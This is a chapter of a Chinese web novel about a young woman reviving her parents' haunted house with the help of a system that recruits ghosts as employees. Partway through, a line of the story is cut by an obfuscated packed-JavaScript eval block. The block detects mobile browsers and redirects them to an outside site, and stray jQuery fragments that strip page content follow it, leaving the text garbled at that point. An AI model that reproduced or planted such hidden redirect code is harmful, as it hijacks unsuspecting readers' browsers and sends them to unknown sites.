S市郊区，武宁路37号。
一辆黑色面包车停靠在路边，两个年轻人正紧锣密鼓的测试着直播间。
“信号都OK吗？”
“没问题。这就是今晚灵异探险的地方啊，看着挺……温馨的。”
粉发女生举着手机，看向不远处的建筑。隔着树篱，三层高的红砖楼静静矗立着。墨绿的爬山虎遮住大片的墙面，在阳光的照射下生机盎然。
算不得恐怖。
正逢一个女生提着东西走过来，微风扬起她及肩的短发，露出好看的眉眼，美得像幅油画。
“真好看呀。”粉发女生感叹。
突然，她瞪大眼睛，用力拍打着身边的同事：“诶？！她她她……她怎么进去了，这不会影响晚上直播吧。”
正在调试设备的男子偏头，漫不经心的扫了一眼，反而皱着眉头看向粉发女生，加重语气：“你是不是又没做攻略，这里以前可是S市最大的恐怖屋，很有名的，有人偷溜进去打卡再正常不过。不过你放心，天黑前会出来的。”
之所以把这里作为选题，就是因为有粉丝投稿，说武宁路37号的恐怖屋疑似闹鬼，半夜路过时能看到“影子”。
一个女孩子，还能在里面过夜不成！不耽误他们直播。
“恐怖屋？”粉发女生表情诧异，又有点儿心虚，转移话题，“这么大片地方，就这么荒着，多可惜呀，干点儿什么不成？我觉着民宿就挺好的。”
“也是没办法的事情。差不多三四年前吧，这家恐怖屋的老板，一对中年夫妇带着孩子毕业旅行，高高兴兴去的，回来时却遭到一辆逆行大货车的碾压。因为躲避不及时，夫妻俩当场死亡，只有女儿被护在身下，奇迹生还。只可惜……”他啧了一声，“受刺激太大，被送去精神病院了。”
“啊！怎么会样，好可怜。如果是我的话，不行，受不了。”粉发女生揉着胸口，有些伤感的问，“女孩儿叫什么名字，她还没出院吗？”
“应该还没有，没听说。”男子半回忆道，“好像叫‘将来’……未来的意思。”
听着回答，粉头发女生有些不确定的再次看向恐怖屋的方向。
就在刚刚，有个男人紧随其后，手里提了个包，上面写着几个大字。
——S市安定医院。
*
“你就是姜来吧？我是安定医院的回访医生，我姓展。”中年男子温和的笑笑。他鼻间架着副黑框眼镜，身形微胖，看起来非常亲切。
也才刚进门的姜来点点头，不动声色的打量着这位突然造访的医生，眼皮微颤，笑着让开身子：“请进，里面还没收拾好，有些乱，不要介意。”
“哪里。”展医生连连摆手，抬步走进去，有些好奇的打量着四周，“说起来，我大学时候也来过这里呢，你是打算再营业吗。”
“对，有这个打算。但是要修要换的东西太多了，可能一时半会儿做不到，等开业了请展医生来玩儿。”
姜来引着对方坐在靠近窗户的位置，将刚才买的水放在桌子上，又推过去一些零食。
“怎么好意思叫你破费。”展医生收拢四散的打量，将目光聚焦在面前的少女身上。妄想性障碍、重度抑郁，一个曾经说自己能看见妖鬼的孩子，接手恐怖屋这种经营，确实是挺令人担忧的。
也难怪院长要求他亲自探访。
“出院也有些日子了，都还适应吧？有没有遇到什么难题。”
姜来沉吟片刻，骤然压低语气。
她黝黑的瞳仁直视着展医生，幽幽道：“你是说，鬼吗？”
少女表情空洞，脸色惨白，在充斥着霉味和灰尘的房间里，有种不真切的感觉，叫展医生瞬间紧绷起身体。
不等他开口，姜来继续道：“比如身后盯着咱们看的那只。”
房间短暂安静了一瞬。
紧接着，什么东西噼啪掉落。本来紧闭着的大门猛地被打开，就好像被人用力撞开似的。
铁锈声吱呀作响，一股凉风吹进来，抵在展医生的后颈。
他僵硬的扭着脑袋看向旁边空空荡荡的大厅，莫名脊背发凉。
什么都没有！
下意识探寻的展医生干笑两声，清了清嗓子，盯着少女正色道：“姜来？你真的看见了吗，它长什么样子。”
——肢体纤长但大腹便便。
她看见了，但她会描述才怪。
姜来有些好笑的望着落荒而逃的「胆小鬼」，起身把遭到重创、急需维修的大门阖上，抱歉的看向脸色有些发白的展医生。
“不好意思吓到您了，看来我这个恐怖屋的老板以后会很成功。”
展医生表情勉强：“是，很成功。”
成功到他现在有些判别不出，姜来到底是单纯捉弄他，还是真的病发，亦或者——真的有鬼。
“姜小姐，愿意再说说曾经看到的东西吗？我记得，最初是在医院看到的，转到我院后，也断断续续持续了一段时间，时有时无。”
“都是幻觉，我明白。我想应该是那时候刺激太大，把恐怖屋中的道具想象成真的了，还有那些都市传说。比如头骨塌陷、混着脑浆的跳楼鬼；再比如身子被拉长，没有五官的瘦长鬼。”
“你，你是把它们分类了吗？”
“那可不是。”姜来摇头，语气轻快道，“展医生感兴趣的话，可以去互联网搜搜，有很多的。”
听到姜来的话，展医生开始翻阅档案。短暂确认后，递过来一张问卷。姜来熟稔的接过纸笔，开始填写。
1-5个等级，还是熟悉的配方。
“你觉得这个病会影响别人对你的看法吗？”【2】别人的看法不重要。
“你是否感到与他人疏远或隔绝？”【1】每晚都很热闹。
“你是否——”
【你是否还在为创业感到苦恼？你是否还在为资金短缺发愁？欢迎加入「妖鬼创业工坊」，系统888号为您服务。只需招聘妖鬼，此后你再也不会为了钱财发愁。妖鬼一签，钞票秒赚。请点击确认，立刻体验暴富人生！】
‘哒’的一声，铅笔重重的在问卷上划出长痕。笔尖折断，墨色的铅笔头崩在姜来的脸上，掉在地上。
透明的蓝色面板横亘在问卷上，密密麻麻写满说明条款。
“展医生——”
“嗯？”正伏案写记录的男子抬起头，疑惑的看向姜来，“怎么了。”
姜来死死盯着面前的人，不肯错过分毫的表情变化。不仅没有异常，甚至清晰透明的眼镜镜面上，没有反射出丝毫的蓝光，只有困惑的自己。
要么她真的疯了，要么她撞大运了！不管是哪一种，都不能叫这位安定医院的大夫察觉，不然她努力出来，重振恐怖屋的愿望就要破灭了。
姜来稳住心神：“使的力气太大，笔尖断了。展医生有带削笔器吗？”
展医生哎哟一声，开始翻找：“还真没，要不——”
“杂物间可能有，我去找一找。”打断展医生回话，姜来站起身，朝着大厅后面的房间走去。
眼前的面板没有消失。
姜来加快步伐。
手搭在门把手的瞬间，系统播报。
【提醒宿主，我司非常重视用户的私密性，为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372799|200006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了不被他人发现，可通过意念进行系统操作和回话。】
听着脑海中连贯的指引，姜来的心砰砰直跳。脊背贴在门板，她迫不及待的跟着指引操作界面，下拉条款。
越往下看，她的眼睛越亮。
“这上面的意思是，只要我招聘妖鬼当恐怖屋的员工，你就会帮着我重振恐怖屋，是这样没错吧？”
【是的，宿主。】
得到系统明确的答复，姜来想也没想，按下了『确认』键。
“招聘妖鬼算什么。”
黑暗中，少女的眼睛亮亮的。
只要能重振恐怖屋，完成爸爸妈妈活着时最大的愿望，让她做什么都可以，哪怕和妖鬼同吃同住！
【滴——宿主绑定成功，现在发布新手引导任务。任务1：招聘妖鬼一名，并签订劳动合同。】
【任务1奖励：妖鬼币10枚、经验值500点、特殊供香3根；解锁妖怪图鉴、解锁系统商城、解锁恐怖屋3D互动地图；启动资金1万元整。】
【店铺状态已更新。】
一连串的提示音响起，姜来稳定住自己的心神，仔细查看。
店铺：37号恐怖屋
状态：闭店（濒临倒闭）
等级：L1
颤栗值：0
员工数：0（？兼职妖鬼一名）
好评星级：暂无
现有场景：《坟场》《荒村》
濒临倒闭。
看着面板上的数据，姜来眼眶有些酸。她用力眨了眨眼，深吸口气，沉声道：“我要怎么招聘妖鬼？”
【宿主等级不够，暂无权限发布招聘公告。可通过线下直聘的方式，直接缔结合同。如果有需要，我现在就帮宿主筛选附近的妖鬼。】
姜来若有所思的点点头，从角落寻到削笔器，临出门时突然问：“在招聘的过程中，你会保护我的安全吧？”
系统条款只说明了部分情况，即签约后的妖鬼无权突破协议，对恐怖屋的老板造成任何伤害。强行攻击的话，会遭到反噬，甚至‘死亡’。
但签约前的情况并没有列出，如果由她自己解决的话，姜来心里没底。
在事发后的这些年，面对那些奇形怪状的妖鬼，她的演技越发精湛，胆量也与之倍增。
但直面……她并没有底气。
符箓、法术、神器，她一无所有。
如果那些妖鬼在招聘过程中突然攻击——姜来脸色有些扭曲。
被附身的感觉太差劲了，那种感觉，就仿佛置身冰窖，稍有不慎就会心脏麻痹。
【宿主不用担心，系统会保护你的安全，放心招聘妖鬼即可。】
【此外，招聘妖鬼成功后，随着好感度提升，会获得丰厚的奖励和技能，必要时妖鬼会主动保护宿主的安危。】
【请宿主牢记，他们不仅是你的员工，还是你的家人，请用心对待。】
“家人吗？”姜来喃喃，心脏猛地抽搐一下，勉强笑了下，“我知道了。”
打开仓库门，重返休息大厅，姜来正要招呼展医生，敏锐的发现这位回访医生犹如惊弓之鸟一样四处打量周遭。
这又是怎么了？
姜来环顾四周，并没有发现任何妖鬼。略微站定，抬高声量：“抱歉，杂物间东西太乱，有些难找，好在找到了。”
猛地听到姜来的声音，展医生还是被吓到了，狼狈的扶了下眼镜，小声催促道：“找到了就好，那我们继续吧。”
姜来点头，重新坐回凳子上。手中的笔转了两圈，眸光流转：“展医生，你觉得恐怖屋最吓人的点是什么？”